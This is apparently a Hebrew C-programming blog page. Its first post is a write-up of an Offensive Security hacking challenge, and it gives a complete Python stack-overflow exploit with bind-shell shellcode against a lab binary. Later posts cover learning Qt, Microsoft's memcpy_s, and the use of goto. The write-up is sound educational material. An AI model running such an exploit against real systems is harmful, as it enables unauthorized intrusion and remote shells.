Tag: C
אתגר Hacking של Offensive Security – שלב ראשון
by Fate on יונ.26, 2010, under כללי
קצת על האתגר
האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:
- תוך 48 שעות, לפרוץ 5 מחשבים
- להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
- ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
- כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
- כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.
קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.
סריקה ראשונית
מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.
- 200 – פתוח פורט 80
- 141 – פתוח פורט 80 וכמה פורטים של SIP
- 115 – פתוח שרת SQL
- 140 – פורט 80 פתוח וכמה שהם filtered
- 150 – ענה לי פעם על פורט כלשהו ונעלם
מעבר מהיר על המחשבים
- 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
- 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
- 115 – שרת SQL שאין לי משתמש אליו
- 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
- 150 – לא התעסקתי איתו
הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.
Vuln
בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://www.filesonic.com/file/2125504824/vuln.rar
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:
#define LISTENPORT 7500 ... //now fill in the fields we need my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); //bind our socket to the port if (bind(sock,(struct sockaddr *)&my_addr, ...)){ perror("bind"); exit(1); } //start listening for incoming connections if (listen(sock,BACKLOG) == -1) { perror("listen"); exit(1); }הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:char reply[1024]; ... recv(conn, reply, 1024, 0); handle_reply(reply); ... int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("Your message is \"%s\"\n",response); return 0; }התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:int jmp(void){ __asm__("jmp %esp"); return 0; }הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.
ניצול חולשה
שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0x41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" "\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89" "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80")מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:#!/usr/bin/python # # exploit.py <ip> <port> # # import socket import sys import time import struct JMP_ESP_ADDR = 0x0804866A SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" "\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89" "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80") def main(ip,port): global SHELLCODE global JMP_ESP_ADDR so = socket.socket() so.connect((ip,7500)) greet = so.recv(1024) SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:] buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE so.sendall(buff) time.sleep(5) so.close() main(sys.argv[1],long(sys.argv[2]))מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.
מה יש בשרת
נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! 🙂
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!בפוסט הבא
מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??
משהו חדש ללמוד
by PHANTOm on נוב.08, 2009, under כללי
כולם פה אני מניח יודעים שפה או שתיים, אולי PHP אולי #C, אולי Python, Perl, Visual Basic. אבל למי מייתנו שילך ללמוד באקדמיה (אמיתית או מכללה) יגיע יום ויצתרך להתמודד עם ++C. יש הרבה מדריכים על השפה עצמה (יותר מידי), אבל מניסיון, הכי מהר ללמוד משהו כשמתמודדים עם פרוייקט אמיתי ביום יום. בגלל שקשה לי להאמין שמישהו צריך תוכנת קונסול שתעשה חשבון פשוט, אני ממליץ על להתחיל עם Qt.
למה?
- לא צריך Visual Studio בכלל. מורידים את העורך Qt Creator (חלק מהחבילה הגדולה) ואפשר להתחיל לבנות ולדבג. לא צריך שום דבר נוסף כדי שהכל יעבוד.
- דברים מאוד לא טריויאליים כמו UI יפה לוקחים שם כמה שניות גם לאנשים שלא מבינים לגמרי איך הדברים עובדים.
- אין רגשות אשם, כל הקודים יתקמפלו כמו שהם גם בלינוקס או מאק.
אבל זה לא באמת ++C… לפחות יש חלקים שקצת לא דומים לתקן, וזה גם טוב וגם רע. זה טוב למי שלא התרגל לשפה עדיין ויכול ללמוד דברים חדשים. החבילות של Qt מאוד עקביות ושימושיות, ה Debuger מציג את המשתנים בזמן אמת בצורה לוגית ולא כמו שהם שמורים בזכרון באמת, למשל רשימה מציגה איברים ולא פוינטרים שרצים לאין ספור כיוונים.
לי היה הרבה יותר קל לחזור ל ++C אחרי שהיה לי את התרגול של Qt ובניתי פרוייקט שאני אפרסם כאן בקרוב.
היה לי מאוד קל לעצב UI שנראה לא רע בכלל, ככה, למשל, נראה העורך:
מי שזה מעניין אותו מוזמן להוריד את כל הכלים באתר qt.nokia.com וגם מוזמן לצפות שם במאות סרטוני ההדרכה (והפרופוגנדה).
תכנות בטוח ב Windows
by TAsn on מאי.15, 2009, under כללי
מי שעוקב אחרי חדשות טכנולוגיות ברשת, בוודאי שם לב ל http://www.theregister.co.uk/2009/05/15/microsoft_banishes_memcpy/
אז כן, אחרי שמיקרוסופט הגבילה (מנעה?) את השימוש בפונקציות strcpy, strcat ודומיהן, הגיע הזמן של memcpy.
אז מה הם בעצם עשו? הם החליפו את memcpy ב memcpy_s שזה בעצם פונקציה שמקבלת עוד פרמטר, גודל זכרון היעד, ומעתיקה זכרון בגודל של המינימום בין גודל זכרון היעד לבין גודל הזכרון שצריך להעתיק, ואז, היא קוראת ל memcpy (זה מימוש אפשרי, ובטח לא רחוק ממה שהם עושים, אם הבנתי אותי נכון).
אז בעצם, מה שמיקרוסופט אומרת, זה שהמפתחים בפלטפורמה שלהם לא יודעים לבדוק דברים טריויאלים כמו אם יש לנו מספיק מקום להעתיק, אז היא מכריחה אותם לבדוק?
אני מאמין שבקרוב נמצא ברשת קוד כזה:
#define memcpy(a,b,c) memcpy_s(a,b,c,c)
שהוא פשוט האק לגרום ל memcpy_s כמו שאנשים רגילים… מי שלא רוצה לעבוד בטוח, לא יעבוד בטוח, מתכנת לא מנוסה, יעשה שטויות.
מה היה רע ב warning בקומפילציה?
שלא תבינו אותי לא נכון, אני חושב שנכון לכתוב בטוח, אבל אני לא בטוח שלהכין את הקרקע לקופים שלא שעושים שטויות היא הדרך הכי טובה.
מה בקשר ל pritnf? הם גם מונעים את השימוש בזה? צריך לחשוש שאיזה אידיוט יכניס לשם מחרוזת… אולי צריך לכתוב
printf_s שאחראית להקפיץ שאלה בקומפילציה עבור כל printf וככה לוודא שהמתכנת וידא שהוא לא עשה טעות.
יש לי אלטרנטיבה אחרת, תשכרו מתכנתים שיודעים לתכנת… כי בסופו של יום גם memcpy_s לא בטוחה לגמרי…
יום טוב.
האם goto באמת שטני?
by TAsn on ינו.26, 2009, under כללי
מבוא
יש כל מיני "שיטות" תכנות, יש אנשים שמתכנתים "פרוצדוראלי", יש אנשים שמתכנתים "מונחה עצמים", יש אנשים שמעדיפים אבסטרקטיות ויש אנשים שלא. קיימות הרבה טענות בעד ונגד כל אחת מהשיטות, ישנה הסכמה שחלק מהשיטות נכונות יותר למקרים מסויימים, וחלק לאחרים, בקיצור, כולם מסכימים שאין שיטה אחת מושלמת, או לחלופין, נוראית. אולם, ישנה הסכמה ש goto הוא שליחו של השטן לעולם התיכנות.
לאלה מכם שלא יודעים goto זו קפיצה בלתי מותנית ב c (ודומותיה).
דוגמא לשימוש בקוד:
1. goto exit; 2. printf("hello world!\n"); 3. exit: return 0;
בקוד הזה, שורה 2 לעולם לא תקרא, שורה 1 תגרום לקפיצה בלתי מותנית (קרי: תמיד) לשורה 3, אשר תסיים את הרצת הפונקציה.
אז למה בעצם goto נחשב רע?
לפי דעתי ישנן כמה סיבות אפשריות:
1. goto נחשב רע עקב רצון שאנשים ישתמשו באלטרנטיבות היותר "high level" שלו, כמו for, while, if, try, etc… ובשביל שאנשים באמת ישתמשו בהם, התחילו להעליל על goto.
הנה לדוגמא קוד ב goto (סטייל אסמבלי) וקוד עם for:
for (i=0; i<5 ; i++) print("hi");
לעומת הקוד עם goto:
i=0; start: if (i<5) print ("hi"); i++; goto start; exit:
2. יותר מידי אנשים שהיו רגילים לאסמבלי ששם אפשר לעשות שטויות עם goto שאי אפשר לעשות ב c, לדוגמא "קפיצות רחוקות" החליטו שלא רוצים בלאגן בקוד שלהם, ולכן צריך גישה חדשה, נטולת goto.
הנה קוד שלא אפשרי ב c אבל זו הגישה המדוברת והממש מעצבנת לעקיבה:
int foo (int i) { goto a; return 0; } int bar (int j) { a: print("hi"); return 0; }
3. בעצם אנשים עשו בלאגן עם goto בעבר הרחוק ואז אנשים התרגלו לראות goto ולברוח בזוועה.
לדוגמא:
while (i<6) { start: for (j=0; j<5; j++) { if (j==3) goto start; } i++; }
למה כן
כל אחת מהסיבות האלה הגיונית ואפשרית אבל האם הן מספקות? הרי אפשר להתעלל בעוד הרבה פקודות ב C אם לא עושים דברים נכון. זה כמו לאסור להשתמש במצביעים ל void הרי עם שימוש במצביעים כאלה אין type checking בחלק מהמקומות וזה יכול להוביל לשגיאות. זה פשוט לא הגיוני!
לעומת הטענות החלשות נגד goto יש טענות חזקות בעד:
1. אנשים משתמשים ב goto (בלי לדעת) כל הזמן.
2. goto עוזר מאוד בכל מיני מקרים.
סינטקס קיים שפועל כמו goto
1. break ו continue זה goto שעטפו אותו מעט! הרי בקלות אפשר לממש את שניהם בעזרת goto:
while (true) { if (i>1) continue; else break; }
ועם goto:
while (true) { next: if (i>1) goto next; else goto end; } end:
והמימוש עם לולאות for לא שונה בהרבה!
מה בנוגע ל try and catch? (כן, אני יודע שזה c++)
try { if (error) { throw "error!"; } } catch (char * str) { printf("%s\n", str); }
לעומת:
if (error) { str = "error!"; } else { goto cont; } /* catch */ error: printf("%s\n", str); cont:
אז נכון, להשתמש בסינטקס הקיים יותר נקי, ובטח מרגיש יותר נכון, אבל הוא התחיל כ goto סתם עטפו אותו יפה, ואם הוא בעצם מתנהג כמו goto, אז הרי בטח יש לו את אותן תכונות שטניות…
הסינטקסטים שנתתי מגבילים את המתכנת לא לעשות שטויות מוגזמות, אבל ע"י כתיבה נכונה גם עם goto אפשר לעשות קוד נקי ומובן.
שימושים נכונים:
אני לדוגמא משתמש ב goto רק בשימוש אחד (אני חייב להודות שקיבלתי השראה מהקוד של הקרנל…) ניקוי פונקצייה אחרי שגיאה:
לדוגמא ללא שימוש ב goto:
int foo (int i) { char *a; char *b; char *c; a = malloc(5); if (a == null) return -1; b = malloc(6); if (b == null) { free(a); return -1; } c = malloc(7); if (c == null) { free(a); free(b); return -1; } return 0; }
לעומת ניקיון בעזרת goto:
int foo (int i) { int ret=0; char *a; char *b; char *c; a = malloc(5); if (a == null) goto errora; b = malloc(6); if (b == null) goto errorb; c = malloc(7); if (c == null) goto errorc; exit: return ret; /* error handling section */ errorc: free(b); errorb: free(a); errora: ret = -1; goto exit; }
הניקיון בעזרת goto יותר נקי, פה "קשה" יותר לראות את זה, אבל כאשר מתעסקים עם הרבה זכרון דינמי או ניקיון שצריך לעשות לפני עזיבת הפונקצייה, להעתיק את הכל מחדש זה מיותר ויכול לגרום לשגיאות, ככה, אפשר להכניס לכל מקום בקוד שורות נוספות ולדאוג לניקיון ב"חלק האיסוף".
עוד דוגמא:
int foo (int i) { int stop = 0; while (true) { while (true) { if (i==3) { stop = 1; break; } } if (stop) break; } /*more code */ }
לעומת:
int foo (int i) { while (true) { while (true) { if (i==3) goto end; } } end: /*more code */ }
או עוד דוגמא:
if (a) { if (b) { if (c) { printf("a "); printf("= b = c = true\n"); } } else { if (d) { printf("a = !b = d = true\n"); } } }
לעומת:
if (!a) goto end; if (b) { if (! c) goto endc; printf("a "); printf("= b = c = true\n"); endc: } else { if (! d) goto endd; printf("a = !b = d = true\n"); endd: } end:
שהרבה יותר ברור (ויותר חשוב, מונע הזחות מיותרות!).
ממה בכל זאת צריך להמנע
כמו שאמרתי, יש לgoto יתרונות כל עוד נמנעים מכמה דברים חשובים:
1. בלי קפיצות רחוקות (ב c במילא אי אפשר, אבל למקרה שאתם לא מתכנתים ב c). לקפוץ מפונקציה לפונקציה זה פסול, לא נכון, וימלא את המחסנית בזבל (חוץ מזה שזה יכול לגרום לשגיאות).
2. בלי קפיצות "אחורה".
לא מומלץ לכתוב קוד שבו הקפיצה תוביל "למעלה" במעלי הקוד, כלומר לקוד שהורץ לפני ה goto, לדוגמא, לא לעשות דבר כזה:
start: /*code*/ goto start;
3. יש לבחור תויות בעלות משמעות. כמו שבוחרים שמות משתנים ופונקציות בעלות משמעות, כך גם צריך להתייחס לתוויות, הן צריכות להסביר את תפקידן בקצרה ובמקרה שצריך, אפשר להוסיף תיעוד קל.
צריך לשמור על קונבצניות בבחירת השם, בדיוק כמו שעושים עם משתנים ופונקציות.
4. יש לכם עוד רעיונות? תכתוב בתגובות…
אני מקווה שעד עכשיו אתם מסכימים של goto יש מקום בעולם ואסור לפסול אותו על הסף, כי גם לו יש שימוש מעניינים ונכונים.